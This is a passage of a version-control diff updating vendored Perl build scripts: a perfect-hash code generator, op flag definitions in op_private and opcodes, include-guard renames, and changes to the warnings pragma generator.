+    push @code, sprintf "blob length: %d\n", length $smart_blob;
+    push @code, sprintf "ref length: %d\n", 0+@$second_level * 8;
+    push @code, sprintf "data size: %d (%%%.2f)\n", $data_size, ($data_size / $length_all_keys) * 100;
+    push @code, "*/\n\n";
+
+    push @code, blob_as_code($smart_blob, $blob_name);
+    push @code, <<"EOF_CODE";
+
+struct $struct_name {
+    U16 seed2;
+    U16 pfx;
+    U16 sfx;
+    U8  pfx_len;
+    U8  sfx_len;
+    ${prefix}_VALt value;
+};
+
+EOF_CODE
+
+    push @code, "#define ${prefix}_RSHIFT $RSHIFT\n";
+    push @code, "#define ${prefix}_BUCKETS $n\n\n";
+    push @code, sprintf "STATIC const U32 ${prefix}_SEED1 = 0x%08x;\n", $seed1;
+    push @code, sprintf "STATIC const U32 ${prefix}_FNV_CONST = 0x%08x;\n\n", $FNV_CONST;
+
+    push @code, "\n";
+    push @code, "STATIC const struct $struct_name $table_name\[${prefix}_BUCKETS] = {\n", join(",\n", @$rows)."\n};\n\n";
+    push @code, <<"EOF_CODE";
+${prefix}_VALt $match_name( const unsigned char * const key, const U16 key_len ) {
+    const unsigned char * ptr= key;
+    const unsigned char * ptr_end= key + key_len;
+    U32 h= ${prefix}_SEED1;
+    U32 s;
+    U32 n;
+    do {
+        h ^= *ptr;
+        h *= ${prefix}_FNV_CONST;
+    } while ( ++ptr < ptr_end );
+    n= h % ${prefix}_BUCKETS;
+    s = $table_name\[n].seed2;
+    if (s) {
+        h= (h >> ${prefix}_RSHIFT) ^ s;
+        n = h % ${prefix}_BUCKETS;
+        if (
+            ( $table_name\[n].pfx_len + $table_name\[n].sfx_len == key_len ) &&
+            ( memcmp($blob_name + $table_name\[n].pfx, key, $table_name\[n].pfx_len) == 0 ) &&
+            ( !$table_name\[n].sfx_len || memcmp($blob_name + $table_name\[n].sfx,
+                key + $table_name\[n].pfx_len, $table_name\[n].sfx_len) == 0 )
+        ) {
+            return $table_name\[n].value;
+        }
+    }
+    return 0;
+}
+EOF_CODE
+
+    return join "", @code;
+}
+
+sub print_algo {
+    my ($ofh, $second_level, $seed1, $long_blob, $smart_blob, $rows,
+        $blob_name, $struct_name, $table_name, $match_name ) = @_;
+
+    if (!ref $ofh) {
+        my $file= $ofh;
+        undef $ofh;
+        open $ofh, ">", $file
+            or die "Failed to open '$file': $!";
+    }
+
+    my $code = make_algo(
+        $second_level, $seed1, $long_blob, $smart_blob, $rows,
+        $blob_name, $struct_name, $table_name, $match_name );
+    print $ofh $code;
+}
+
+sub print_main {
+    my ($ofh,$h_file,$match_name,$prefix)=@_;
+    print $ofh <<"EOF_CODE";
+#include "$h_file"
+
+int main(int argc, char *argv[]){
+    int i;
+    for (i=1; i<argc; i++) {
+        unsigned char *key = (unsigned char *)argv[i];
+        int key_len = strlen(argv[i]);
+        printf("key: %s got: %d\\n", key, $match_name((unsigned char *)key,key_len));
+    }
+    return 0;
+}
+EOF_CODE
+}
+
+# output the test Perl code.
+sub print_tests {
+    my ($file, $tests_hash)= @_;
+    open my $ofh, ">", $file
+        or die "Failed to open '$file' for writing: $!";
+    my $num_tests= 2 + keys %$tests_hash;
+    print $ofh "use strict;\nuse warnings;\nuse Test::More tests => $num_tests;\nmy \@res;";
+    my $bytes= 0;
+    my @tests= sort keys %$tests_hash;
+    print $ofh "\@res=`./mph_test '$tests[0]/should-not-match' 'should-not-match/$tests[0]'`;\n";
+    print $ofh "ok( \$res[0] =~ /got: 0/,'proper prefix does not match');\n";
+    print $ofh "ok( \$res[1] =~ /got: 0/,'proper suffix does not match');\n";
+    while (@tests) {
+        my @batch= splice @tests,0,10;
+        my $batch_args= join " ", map { "'$_'" } @batch;
+        print $ofh "\@res=`./mph_test $batch_args`;\n";
+        foreach my $i (0..$#batch) {
+            my $key= $batch[$i];
+            my $want= $tests_hash->{$key};
+            print $ofh "ok(\$res[$i]=~/got: (\\d+)/ && \$1 == $want, '$key');\n";
+        }
+    }
+    close $ofh;
+}
+
+sub print_test_binary {
+    my ($file,$h_file, $second_level, $seed1, $length_all_keys,
+        $smart_blob, $rows, $defines, $match_name, $prefix)= @_;
+    open my $ofh, ">", $file
+        or die "Failed to open '$file': $!";
+    print_includes($ofh);
+    print_defines($ofh, $defines);
+    print_main($ofh,$h_file,$match_name,$prefix);
+    close $ofh;
+}
+
+sub make_mph_from_hash {
+    my $hash= shift;
+
+    # we do this twice because often we can find longer prefixes on the second pass.
+    my @keys= sort {length($b) <=> length($a) || $a cmp $b } keys %$hash;
+
+    my ($smart_blob, $res_to_split)= build_split_words($hash,0);
+    {
+        my ($smart_blob2, $res_to_split2)= build_split_words($hash,1);
+        if (length($smart_blob) > length($smart_blob2)) {
+            printf "Using preprocess-smart blob, length: %d (vs %d)\n", length $smart_blob2, length $smart_blob;
+            $smart_blob= $smart_blob2;
+            $res_to_split= $res_to_split2;
+        } else {
+            printf "Using greedy-smart blob, length: %d (vs %d)\n", length $smart_blob, length $smart_blob2;
+        }
+    }
+    my ($seed1, $second_level, $length_all_keys)= build_perfect_hash($hash, $res_to_split);
+    my ($rows, $defines, $tests)= build_array_of_struct($second_level, $smart_blob);
+    return ($second_level, $seed1, $length_all_keys, $smart_blob, $rows, $defines, $tests);
+}
+
+sub make_files {
+    my ($hash,$base_name)= @_;
+
+    my $h_name= $base_name . "_algo.h";
+    my $c_name= $base_name . "_test.c";
+    my $p_name= $base_name . "_test.pl";
+    my $blob_name= $base_name . "_blob";
+    my $struct_name= $base_name . "_bucket_info";
+    my $table_name= $base_name . "_table";
+    my $match_name= $base_name . "_match";
+    my $prefix= uc($base_name);
+
+    my ($second_level, $seed1, $length_all_keys,
+        $smart_blob, $rows, $defines, $tests)= make_mph_from_hash( $hash );
+    print_algo( $h_name,
+        $second_level, $seed1, $length_all_keys, $smart_blob, $rows,
+        $blob_name, $struct_name, $table_name, $match_name, $prefix );
+    print_test_binary( $c_name, $h_name, $second_level, $seed1, $length_all_keys,
+        $smart_blob, $rows, $defines,
+        $match_name, $prefix );
+    print_tests( $p_name, $tests );
+}
+
+unless (caller) {
+    my %hash;
+    {
+        no warnings;
+        do "../perl/lib/unicore/Heavy.pl";
+        %hash= %utf8::loose_to_file_of;
+    }
+    if ($ENV{MERGE_KEYS}) {
+        my @keys= keys %hash;
+        foreach my $loose (keys %utf8::loose_property_name_of) {
+            my $to= $utf8::loose_property_name_of{$loose};
+            next if $to eq $loose;
+            foreach my $key (@keys) {
+                my $copy= $key;
+                if ($copy=~s/^\Q$to\E(=|\z)/$loose$1/) {
+                    #print "$key => $copy\n";
+                    $hash{$copy}= $key;
+                }
+            }
+        }
+    }
+    foreach my $key (keys %hash) {
+        my $munged= uc($key);
+        $munged=~s/\W/__/g;
+        $hash{$key} = $munged;
+    }
+
+    my $name= shift @ARGV;
+    $name ||= "mph";
+    make_files(\%hash,$name);
+}
+
+1;
+__END__

Modified: vendor/perl/dist/regen/op_private
===================================================================
--- vendor/perl/dist/regen/op_private	2018-11-30 20:25:27 UTC (rev 12125)
+++ vendor/perl/dist/regen/op_private	2018-12-22 22:55:19 UTC (rev 12126)
@@ -198,7 +198,8 @@
 
     # find which ops use 0,1,2,3 or 4 bits of op_private for arg count info
 
-    $args0{$_} = 1 for qw(entersub avhvswitch); # UNOPs that usurp bit 0
+    $args0{$_} = 1 for qw(entersub avhvswitch
+                       rv2hv);                  # UNOPs that usurp bit 0
 
     $args1{$_} = 1 for (
                         qw(reverse), # ck_fun(), but most bits stolen
@@ -219,9 +220,6 @@
                         qw(vec),
                         grep !$maxarg{$_} && !$args0{$_} && !$args1{$_},
                             ops_with_flag('2'), # BINOP
-                            # this is a binop, but special-cased as a
-                            # baseop in regen/opcodes
-                            'sassign',
                     );
 
     $args3{$_} = 1 for grep !$maxarg{$_} && !$args0{$_}
@@ -302,7 +300,8 @@
 addbits($_, 7 => qw(OPpLVAL_INTRO LVINTRO))
     for qw(gvsv rv2sv rv2hv rv2gv rv2av aelem helem aslice split
            hslice delete padsv padav padhv enteriter entersub padrange
-           pushmark cond_expr refassign lvref lvrefslice lvavref multideref),
+           pushmark cond_expr refassign lvref lvrefslice lvavref multideref
+           multiconcat),
            'list', # this gets set in my_attrs() for some reason
            ;
 
@@ -429,22 +428,30 @@
 
 
 # We might be an lvalue to return
+# 'values' doesn't actually use this bit, but we reserve it here as
+# pp_values may call Perl_do_kv() which is shared among several ops which
+# do.
+
 addbits($_, 3 => qw(OPpMAYBE_LVSUB LVSUB))
     for qw(aassign rv2av rv2gv rv2hv padav padhv aelem helem aslice hslice
            av2arylen keys akeys avhvswitch kvaslice kvhslice substr pos vec
-           multideref);
+           multideref values);
 
 
 
-for (qw(rv2hv padhv)) {
+for (qw(rv2hv padhv ref)) {
     addbits($_,                           # e.g. %hash in (%hash || $foo) ...
-        4 => qw(OPpMAYBE_TRUEBOOL BOOL?), # ... cx not known till run time
-        5 => qw(OPpTRUEBOOL       BOOL),  # ... in void cxt
+        4 => qw(OPpMAYBE_TRUEBOOL BOOL?), # but cx not known till run time
+        5 => qw(OPpTRUEBOOL       BOOL),
     );
 }
+for (qw(grepwhile index length padav pos rindex rv2av subst)) {
+    addbits($_,
+        5 => qw(OPpTRUEBOOL       BOOL),  # if (@a) {...}
+    );
+}
 
 
-
 addbits($_, 1 => qw(OPpHINT_STRICT_REFS STRICT))
     for qw(rv2sv rv2av rv2hv rv2gv multideref);
 
@@ -491,6 +498,7 @@
 # run-time checking is required for an aggregate on the LHS
 addbits('aassign', 4 => qw(OPpASSIGN_COMMON_AGG COM_AGG));
 
+addbits('aassign', 2 => qw(OPpASSIGN_TRUEBOOL BOOL));  # if (@a = (...)) {...}
 
 
 # NB: both sassign and aassign use the 'OPpASSIGN' naming convention
@@ -505,14 +513,15 @@
 
 for (qw(trans transr)) {
     addbits($_,
-        0 => qw(OPpTRANS_FROM_UTF   <UTF),
-        1 => qw(OPpTRANS_TO_UTF     >UTF),
+        0 => qw(OPpTRANS_FROM_UTF   <UTF),    # search chars are utf8
+        1 => qw(OPpTRANS_TO_UTF     >UTF),    # replacement chars are utf8
         2 => qw(OPpTRANS_IDENTICAL  IDENT),   # right side is same as left
-        3 => qw(OPpTRANS_SQUASH     SQUASH),
+        3 => qw(OPpTRANS_SQUASH     SQUASH),  # /s
         # 4 is used for OPpTARGET_MY
-        5 => qw(OPpTRANS_COMPLEMENT COMPL),
-        6 => qw(OPpTRANS_GROWS      GROWS),
-        7 => qw(OPpTRANS_DELETE     DEL),
+        5 => qw(OPpTRANS_COMPLEMENT COMPL),   # /c
+        6 => qw(OPpTRANS_GROWS      GROWS),   # replacement chars longer than
+                                              #    src chars
+        7 => qw(OPpTRANS_DELETE     DEL),     # /d
     );
 }
 
@@ -644,9 +653,11 @@
 
 
 
-# Operating on a list of keys
-addbits('delete', 6 => qw(OPpSLICE SLICE));
-# also 7 => OPpLVAL_INTRO, already defined above
+addbits('delete',
+    5 => qw(OPpKVSLICE KVSLICE), # Operating on a list of key/value pairs
+    6 => qw(OPpSLICE   SLICE  ), # Operating on a list of keys
+   #7 => OPpLVAL_INTRO, already defined above
+);
 
 
 
@@ -661,8 +672,8 @@
     2 => qw(OPpSORT_REVERSE  REV    ), # Reversed sort
     3 => qw(OPpSORT_INPLACE  INPLACE), # sort in-place; eg @a = sort @a
     4 => qw(OPpSORT_DESCEND  DESC   ), # Descending sort
-    5 => qw(OPpSORT_QSORT    QSORT  ), # Use quicksort (not mergesort)
     6 => qw(OPpSORT_STABLE   STABLE ), # Use a stable algorithm
+    7 => qw(OPpSORT_UNSTABLE UNSTABLE),# Use an unstable algorithm
 );
 
 
@@ -779,6 +790,45 @@
 );
 
 
+# rv2hv and padhv in void/scalar context implementing 'keys %h'
+# directly, without a following OP_KEYS
+
+addbits('padhv',
+    0 => qw(OPpPADHV_ISKEYS KEYS),
+);
+addbits('rv2hv',
+    0 => qw(OPpRV2HV_ISKEYS KEYS),
+);
+
+# In conjunction with OPpTRUEBOOL, indicates that the test should be
+# inverted. This allows both (index() == -1) and (index() != -1)
+# to optimise away the const and eq/ne
+
+for (qw(index rindex)) {
+    addbits($_, 6 => qw(OPpINDEX_BOOLNEG NEG));
+}
+
+
+addbits('concat',
+    # OPf_STACKED normally indicates .=; but it also gets set to optimise
+    # $a . $b . $c into ($a . $b) .= $c
+    # so that the first concat's PADTMP (which holds the result of $a.$b)
+    # can be reused. Set a flag in this case to help deparse and warn
+    # distinguish the cases.
+    6 => qw(OPpCONCAT_NESTED NESTED),
+);
+
+
+addbits('multiconcat',
+  # 7       OPpLVAL_INTRO
+    6 => qw(OPpMULTICONCAT_APPEND APPEND), # $x .= ....
+    5 => qw(OPpMULTICONCAT_FAKE   FAKE),   # sprintf() optimised to MC.
+  # 4       OPpTARGET_MY
+    3 => qw(OPpMULTICONCAT_STRINGIFY STRINGIFY), # "$a$b..."
+);
+
+
+
 1;
 
 # ex: set ts=8 sts=4 sw=4 et:

Modified: vendor/perl/dist/regen/opcode.pl
===================================================================
--- vendor/perl/dist/regen/opcode.pl	2018-11-30 20:25:27 UTC (rev 12125)
+++ vendor/perl/dist/regen/opcode.pl	2018-12-22 22:55:19 UTC (rev 12126)
@@ -55,7 +55,7 @@
     $args = '' unless defined $args;
 
     warn qq[Description "$desc" duplicates $seen{$desc}\n]
-     if $seen{$desc} and $key !~ "transr|(?:intro|clone)cv|lvref";
+     if $seen{$desc} and $key !~ "concat|transr|(?:intro|clone)cv|lvref";
     die qq[Opcode "$key" duplicates $seen{$key}\n] if $seen{$key};
     die qq[Opcode "freed" is reserved for the slab allocator\n]
 	if $key eq 'freed';
@@ -247,7 +247,7 @@
             my $flag_name   = shift @args;
             my $flag_label  = shift @args;
             add_label($flag_name, $flag_label);
-            croak "addbits(): bit $bits of $op already specified"
+            croak "addbits(): bit $bits of $op already specified ($FLAGS{$op}{$bits})"
                 if defined $FLAGS{$op}{$bits};
             $FLAGS{$op}{$bits} = $flag_name;
             add_define($flag_name, (1 << $bits));
@@ -344,7 +344,7 @@
             }
 
             for my $bit ($bitmin..$bitmax) {
-                croak "addbits(): bit $bit of $op already specified"
+                croak "addbits(): bit $bit of $op already specified ($FLAGS{$op}{$bit})"
                     if defined $FLAGS{$op}{$bit};
                 $FLAGS{$op}{$bit} = $BITFIELDS{$id};
             }
@@ -1034,11 +1034,9 @@
 #ifdef PERL_GLOBAL_STRUCT_INIT
 #  define PERL_PPADDR_INITED
 static const Perl_ppaddr_t Gppaddr[]
-#else
-#  ifndef PERL_GLOBAL_STRUCT
-#    define PERL_PPADDR_INITED
+#elif !defined(PERL_GLOBAL_STRUCT)
+#  define PERL_PPADDR_INITED
 EXT Perl_ppaddr_t PL_ppaddr[] /* or perlvars.h */
-#  endif
 #endif /* PERL_GLOBAL_STRUCT */
 #if (defined(DOINIT) && !defined(PERL_GLOBAL_STRUCT)) || defined(PERL_GLOBAL_STRUCT_INIT)
 #  define PERL_PPADDR_INITED
@@ -1066,11 +1064,9 @@
 #ifdef PERL_GLOBAL_STRUCT_INIT
 #  define PERL_CHECK_INITED
 static const Perl_check_t Gcheck[]
-#else
-#  ifndef PERL_GLOBAL_STRUCT
-#    define PERL_CHECK_INITED
+#elif !defined(PERL_GLOBAL_STRUCT)
+#  define PERL_CHECK_INITED
 EXT Perl_check_t PL_check[] /* or perlvars.h */
-#  endif
 #endif
 #if (defined(DOINIT) && !defined(PERL_GLOBAL_STRUCT)) || defined(PERL_GLOBAL_STRUCT_INIT)
 #  define PERL_CHECK_INITED

Modified: vendor/perl/dist/regen/opcodes
===================================================================
--- vendor/perl/dist/regen/opcodes	2018-11-30 20:25:27 UTC (rev 12125)
+++ vendor/perl/dist/regen/opcodes	2018-12-22 22:55:19 UTC (rev 12126)
@@ -131,6 +131,7 @@
 subtract	subtraction (-)		ck_null		IfsT2	S S
 i_subtract	integer subtraction (-)	ck_null		ifsT2	S S
 concat		concatenation (.) or string	ck_concat	fsT2	S S
+multiconcat	concatenation (.) or string	ck_null	sT+
 stringify	string			ck_stringify	fsT@	S
 
 left_shift	left bitshift (<<)	ck_bitop	fsT2	S S
@@ -144,10 +145,10 @@
 i_le		integer le (<=)		ck_cmp		ifs2	S S<
 ge		numeric ge (>=)		ck_cmp		Iifs2	S S<
 i_ge		integer ge (>=)		ck_cmp		ifs2	S S<
-eq		numeric eq (==)		ck_null		Iifs2	S S<
-i_eq		integer eq (==)		ck_null		ifs2	S S<
-ne		numeric ne (!=)		ck_null		Iifs2	S S<
-i_ne		integer ne (!=)		ck_null		ifs2	S S<
+eq		numeric eq (==)		ck_cmp		Iifs2	S S<
+i_eq		integer eq (==)		ck_cmp		ifs2	S S<
+ne		numeric ne (!=)		ck_cmp		Iifs2	S S<
+i_ne		integer ne (!=)		ck_cmp		ifs2	S S<
 ncmp		numeric comparison (<=>)	ck_null		Iifst2	S S<
 i_ncmp		integer comparison (<=>)	ck_null		ifst2	S S<
 
@@ -174,9 +175,7 @@
 not		not			ck_null		ifs1	S
 complement	1's complement (~)	ck_bitop	fst1	S
 ncomplement	numeric 1's complement (~)	ck_bitop	fsT1	S
-# scomplement uses ck_bitop only for the experimental warning.  Once the
-# warning is gone, this can change to ck_null.
-scomplement	string 1's complement (~)	ck_bitop	fsT1	S
+scomplement	string 1's complement (~)	ck_null	fsT1	S
 
 smartmatch	smart match		ck_smartmatch	s2
 
@@ -238,7 +237,7 @@
 keys		keys			ck_each		t%	H
 delete		delete			ck_delete	%	S
 exists		exists			ck_exists	is%	S
-rv2hv		hash dereference	ck_rvconst	d1	
+rv2hv		hash dereference	ck_rvconst	dt1	
 helem		hash element		ck_null		s2	H S
 hslice		hash slice		ck_null		m@	H L
 kvhslice	key/value hash slice	ck_null		m@	H L
@@ -292,7 +291,6 @@
 orassign	logical or assignment (||=)	ck_null		s|	
 dorassign	defined or assignment (//=)	ck_null		s|
 
-method		method lookup		ck_method	d.
 entersub	subroutine entry	ck_subr		dm1	L
 leavesub	subroutine exit		ck_null		1	
 leavesublv	lvalue subroutine return	ck_null		1	
@@ -322,6 +320,7 @@
 dump		dump			ck_null		ds}	
 goto		goto			ck_null		s}	
 exit		exit			ck_fun		s%	S?
+method		method lookup		ck_method	d.
 method_named	method with known name	ck_null		d.
 method_super	super with known name	ck_null		d.
 method_redir	redirect method with known name	ck_null	d.

Modified: vendor/perl/dist/regen/reentr.pl
===================================================================
--- vendor/perl/dist/regen/reentr.pl	2018-11-30 20:25:27 UTC (rev 12125)
+++ vendor/perl/dist/regen/reentr.pl	2018-12-22 22:55:19 UTC (rev 12126)
@@ -62,8 +62,8 @@
 
 my $h = open_print_header('reentr.h');
 print $h <<EOF;
-#ifndef REENTR_H
-#define REENTR_H
+#ifndef PERL_REENTR_H_
+#define PERL_REENTR_H_
 
 /* If compiling for a threaded perl, we will macro-wrap the system/library
  * interfaces (e.g. getpwent()) which have threaded versions
@@ -73,7 +73,7 @@
  */
 
 #ifndef PERL_REENTR_API
-# if defined(PERL_CORE) || defined(PERL_EXT)
+# if defined(PERL_CORE) || defined(PERL_EXT) || defined(PERL_REENTRANT)
 #  define PERL_REENTR_API 1
 # else
 #  define PERL_REENTR_API 0
@@ -106,6 +106,11 @@
 #   define NETDB_R_OBSOLETE
 #endif
 
+#if defined(__GLIBC__) && (__GLIBC__ > 2 || (__GLIBC__ == 2 && __GLIBC_MINOR__ >= 24))
+#   undef HAS_READDIR_R
+#   undef HAS_READDIR64_R
+#endif
+
 /*
  * As of OpenBSD 3.7, reentrant functions are now working, they just are
  * incompatible with everyone else.  To make OpenBSD happy, we have to
@@ -535,16 +540,12 @@
 	PL_reentrant_buffer->$sz = sysconf($sc);
 	if (PL_reentrant_buffer->$sz == (size_t) -1)
 		PL_reentrant_buffer->$sz = REENTRANTUSUALSIZE;
-#   else
-#       if defined(__osf__) && defined(__alpha) && defined(SIABUFSIZ)
+#   elif defined(__osf__) && defined(__alpha) && defined(SIABUFSIZ)
 	PL_reentrant_buffer->$sz = SIABUFSIZ;
-#       else
-#           ifdef __sgi
+#   elif defined(__sgi)
 	PL_reentrant_buffer->$sz = BUFSIZ;
-#           else
+#   else
 	PL_reentrant_buffer->$sz = REENTRANTUSUALSIZE;
-#           endif
-#       endif
 #   endif 
 EOF
 	    pushinitfree $genfunc;

Modified: vendor/perl/dist/regen/regcharclass.pl
===================================================================
--- vendor/perl/dist/regen/regcharclass.pl	2018-11-30 20:25:27 UTC (rev 12125)
+++ vendor/perl/dist/regen/regcharclass.pl	2018-12-22 22:55:19 UTC (rev 12126)
@@ -1364,7 +1364,7 @@
 changed or removed without notice.
 EOF
     );
-    print $out_fh "\n#ifndef H_REGCHARCLASS   /* Guard against nested #includes */\n#define H_REGCHARCLASS 1\n";
+    print $out_fh "\n#ifndef PERL_REGCHARCLASS_H_ /* Guard against nested #includes */\n#define PERL_REGCHARCLASS_H_\n";
 
     my ( $op, $title, @txt, @types, %mods );
     my $doit= sub ($) {
@@ -1452,7 +1452,7 @@
         print $out_fh get_conditional_compile_line_end();
     }
 
-    print $out_fh "\n#endif /* H_REGCHARCLASS */\n";
+    print $out_fh "\n#endif /* PERL_REGCHARCLASS_H_ */\n";
 
     if($path eq '-') {
 	print $out_fh "/* ex: set ro: */\n";

Modified: vendor/perl/dist/regen/regcomp.pl
===================================================================
--- vendor/perl/dist/regen/regcomp.pl	2018-11-30 20:25:27 UTC (rev 12125)
+++ vendor/perl/dist/regen/regcomp.pl	2018-12-22 22:55:19 UTC (rev 12126)
@@ -649,7 +649,8 @@
     while (<$oldguts>) {
         last if /=for regcomp.pl end/;
     }
-    do { print } while <$oldguts>;
+    do { print } while <$oldguts>; #win32 can't unlink an open FH
+    close $oldguts or die "Error closing pod/perldebguts.pod: $!";
     select $old_fh;
     close_and_rename($guts);
 }

Modified: vendor/perl/dist/regen/regen_lib.pl
===================================================================
--- vendor/perl/dist/regen/regen_lib.pl	2018-11-30 20:25:27 UTC (rev 12125)
+++ vendor/perl/dist/regen/regen_lib.pl	2018-12-22 22:55:19 UTC (rev 12126)
@@ -1,6 +1,6 @@
 #!/usr/bin/perl -w
 use strict;
-use vars qw($Needs_Write $Verbose @Changed $TAP);
+our (@Changed, $TAP);
 use File::Compare;
 use Symbol;
 use Text::Wrap();
@@ -7,9 +7,9 @@
 
 # Common functions needed by the regen scripts
 
-$Needs_Write = $^O eq 'cygwin' || $^O eq 'os2' || $^O eq 'MSWin32';
+our $Needs_Write = $^O eq 'cygwin' || $^O eq 'os2' || $^O eq 'MSWin32';
 
-$Verbose = 0;
+our $Verbose = 0;
 @ARGV = grep { not($_ eq '-q' and $Verbose = -1) }
   grep { not($_ eq '--tap' and $TAP = 1) }
   grep { not($_ eq '-v' and $Verbose = 1) } @ARGV;

Modified: vendor/perl/dist/regen/unicode_constants.pl
===================================================================
--- vendor/perl/dist/regen/unicode_constants.pl	2018-11-30 20:25:27 UTC (rev 12125)
+++ vendor/perl/dist/regen/unicode_constants.pl	2018-12-22 22:55:19 UTC (rev 12126)
@@ -12,8 +12,8 @@
 
 print $out_fh <<END;
 
-#ifndef H_UNICODE_CONSTANTS   /* Guard against nested #includes */
-#define H_UNICODE_CONSTANTS   1
+#ifndef PERL_UNICODE_CONSTANTS_H_   /* Guard against nested #includes */
+#define PERL_UNICODE_CONSTANTS_H_   1
 
 /* This file contains #defines for the version of Unicode being used and
  * various Unicode code points.  The values the code point macros expand to
@@ -198,7 +198,7 @@
     }
 }
 
-print $out_fh "\n#endif /* H_UNICODE_CONSTANTS */\n";
+print $out_fh "\n#endif /* PERL_UNICODE_CONSTANTS_H_ */\n";
 
 read_only_bottom_close_and_rename($out_fh);
 
@@ -259,6 +259,8 @@
 
 U+FFFD string
 
+U+10FFFF string MAX_UNICODE
+
 NBSP native
 NBSP string
 

Modified: vendor/perl/dist/regen/warnings.pl
===================================================================
--- vendor/perl/dist/regen/warnings.pl	2018-11-30 20:25:27 UTC (rev 12125)
+++ vendor/perl/dist/regen/warnings.pl	2018-12-22 22:55:19 UTC (rev 12126)
@@ -16,7 +16,7 @@
 #
 # This script is normally invoked from regen.pl.
 
-$VERSION = '1.37';
+$VERSION = '1.42';
 
 BEGIN {
     require './regen/regen_lib.pl';
@@ -107,11 +107,16 @@
                                     [ 5.021, DEFAULT_ON ],
                                 'experimental::declared_refs' =>
                                     [ 5.025, DEFAULT_ON ],
+                                'experimental::script_run' =>
+                                    [ 5.027, DEFAULT_ON ],
+                                'experimental::alpha_assertions' =>
+                                    [ 5.027, DEFAULT_ON ],
                         }],
 
         'missing'       => [ 5.021, DEFAULT_OFF],
         'redundant'     => [ 5.021, DEFAULT_OFF],
         'locale'        => [ 5.021, DEFAULT_ON],
+        'shadow'        => [ 5.027, DEFAULT_OFF],
 
          #'default'     => [ 5.008, DEFAULT_ON ],
 }]};
@@ -338,6 +343,9 @@
 EOM
 
   walk ($tree) ;
+  for (my $i = $index; $i & 3; $i++) {
+      push @{$list{all}}, $i;
+  }
 
   $index *= 2 ;
   $warn_size = int($index / 8) + ($index % 8 != 0) ;
@@ -462,13 +470,15 @@
 #define unpackWARN4(x)		(((x) >>24) & 0xFF)
 
 #define ckDEAD(x)							\
-	   (PL_curcop &&                                                \
-            !specialWARN(PL_curcop->cop_warnings) &&			\
-	    ( isWARNf_on(PL_curcop->cop_warnings, WARN_ALL) || 		\
-	      isWARNf_on(PL_curcop->cop_warnings, unpackWARN1(x)) ||	\
-	      isWARNf_on(PL_curcop->cop_warnings, unpackWARN2(x)) ||	\
-	      isWARNf_on(PL_curcop->cop_warnings, unpackWARN3(x)) ||	\
-	      isWARNf_on(PL_curcop->cop_warnings, unpackWARN4(x))))
+   (PL_curcop &&                                                        \
+    !specialWARN(PL_curcop->cop_warnings) &&			        \
+    (isWARNf_on(PL_curcop->cop_warnings, unpackWARN1(x)) ||	        \
+      (unpackWARN2(x) &&                                                \
+	(isWARNf_on(PL_curcop->cop_warnings, unpackWARN2(x)) ||	        \
+	  (unpackWARN3(x) &&                                            \
+	    (isWARNf_on(PL_curcop->cop_warnings, unpackWARN3(x)) ||	\
+	      (unpackWARN4(x) &&                                        \
+		isWARNf_on(PL_curcop->cop_warnings, unpackWARN4(x)))))))))
 
 /* end of file warnings.h */
 EOM
@@ -561,8 +571,6 @@
 
 KEYWORDS
 
-our $All = "" ; vec($All, $Offsets{'all'}, 2) = 3 ;
-
 sub Croaker
 {
     require Carp; # this initializes %CarpInternal
@@ -571,6 +579,25 @@
     Carp::croak(@_);
 }
 
+sub _expand_bits {
+    my $bits = shift;
+    my $want_len = ($LAST_BIT + 7) >> 3;
+    my $len = length($bits);
+    if ($len != $want_len) {
+	if ($bits eq "") {
+	    $bits = "\x00" x $want_len;
+	} elsif ($len > $want_len) {
+	    substr $bits, $want_len, $len-$want_len, "";
+	} else {
+	    my $a = vec($bits, $Offsets{all} >> 1, 2);
+	    $a |= $a << 2;
+	    $a |= $a << 4;
+	    $bits .= chr($a) x ($want_len - $len);
+	}
+    }
+    return $bits;
+}
+
 sub _bits {
     my $mask = shift ;
     my $catmask ;
@@ -577,6 +604,7 @@
     my $fatal = 0 ;
     my $no_fatal = 0 ;
 
+    $mask = _expand_bits($mask);
     foreach my $word ( @_ ) {
 	if ($word eq 'FATAL') {
 	    $fatal = 1;
@@ -589,7 +617,7 @@
 	elsif ($catmask = $Bits{$word}) {
 	    $mask |= $catmask ;
 	    $mask |= $DeadBits{$word} if $fatal ;
-	    $mask &= ~($DeadBits{$word}|$All) if $no_fatal ;
+	    $mask = ~(~$mask | $DeadBits{$word}) if $no_fatal ;
 	}
 	else
 	  { Croaker("Unknown warnings category '$word'")}
@@ -602,7 +630,7 @@
 {
     # called from B::Deparse.pm
     push @_, 'all' unless @_ ;
-    return _bits(undef, @_) ;
+    return _bits("", @_) ;
 }
 
 sub import
@@ -611,16 +639,12 @@
 
     my $mask = ${^WARNING_BITS} // ($^W ? $Bits{all} : $DEFAULT) ;
 
-    if (vec($mask, $Offsets{'all'}, 1)) {
-	$mask |= $Bits{'all'} ;
-	$mask |= $DeadBits{'all'} if vec($mask, $Offsets{'all'}+1, 1);
-    }
+    # append 'all' when implied (empty import list or after a lone
+    # "FATAL" or "NONFATAL")
+    push @_, 'all'
+	if !@_ || (@_==1 && ($_[0] eq 'FATAL' || $_[0] eq 'NONFATAL'));
 
-    # append 'all' when implied (after a lone "FATAL" or "NONFATAL")
-    push @_, 'all' if @_==1 && ( $_[0] eq 'FATAL' || $_[0] eq 'NONFATAL' );
-
-    # Empty @_ is equivalent to @_ = 'all' ;
-    ${^WARNING_BITS} = @_ ? _bits($mask, @_) : $mask | $Bits{all} ;
+    ${^WARNING_BITS} = _bits($mask, @_);
 }
 
 sub unimport
@@ -630,20 +654,16 @@
     my $catmask ;
     my $mask = ${^WARNING_BITS} // ($^W ? $Bits{all} : $DEFAULT) ;
 
-    if (vec($mask, $Offsets{'all'}, 1)) {
-	$mask |= $Bits{'all'} ;
-	$mask |= $DeadBits{'all'} if vec($mask, $Offsets{'all'}+1, 1);
-    }
-
     # append 'all' when implied (empty import list or after a lone "FATAL")
     push @_, 'all' if !@_ || @_==1 && $_[0] eq 'FATAL';
 
+    $mask = _expand_bits($mask);
     foreach my $word ( @_ ) {
 	if ($word eq 'FATAL') {
 	    next;
 	}
 	elsif ($catmask = $Bits{$word}) {
-	    $mask &= ~($catmask | $DeadBits{$word} | $All);
+	    $mask = ~(~$mask | $catmask | $DeadBits{$word});
 	}
 	else
 	  { Croaker("Unknown warnings category '$word'")}
@@ -654,6 +674,7 @@
 
 my %builtin_type; @builtin_type{qw(SCALAR ARRAY HASH CODE REF GLOB LVALUE Regexp)} = ();
 
+sub LEVEL () { 8 };
 sub MESSAGE () { 4 };
 sub FATAL () { 2 };
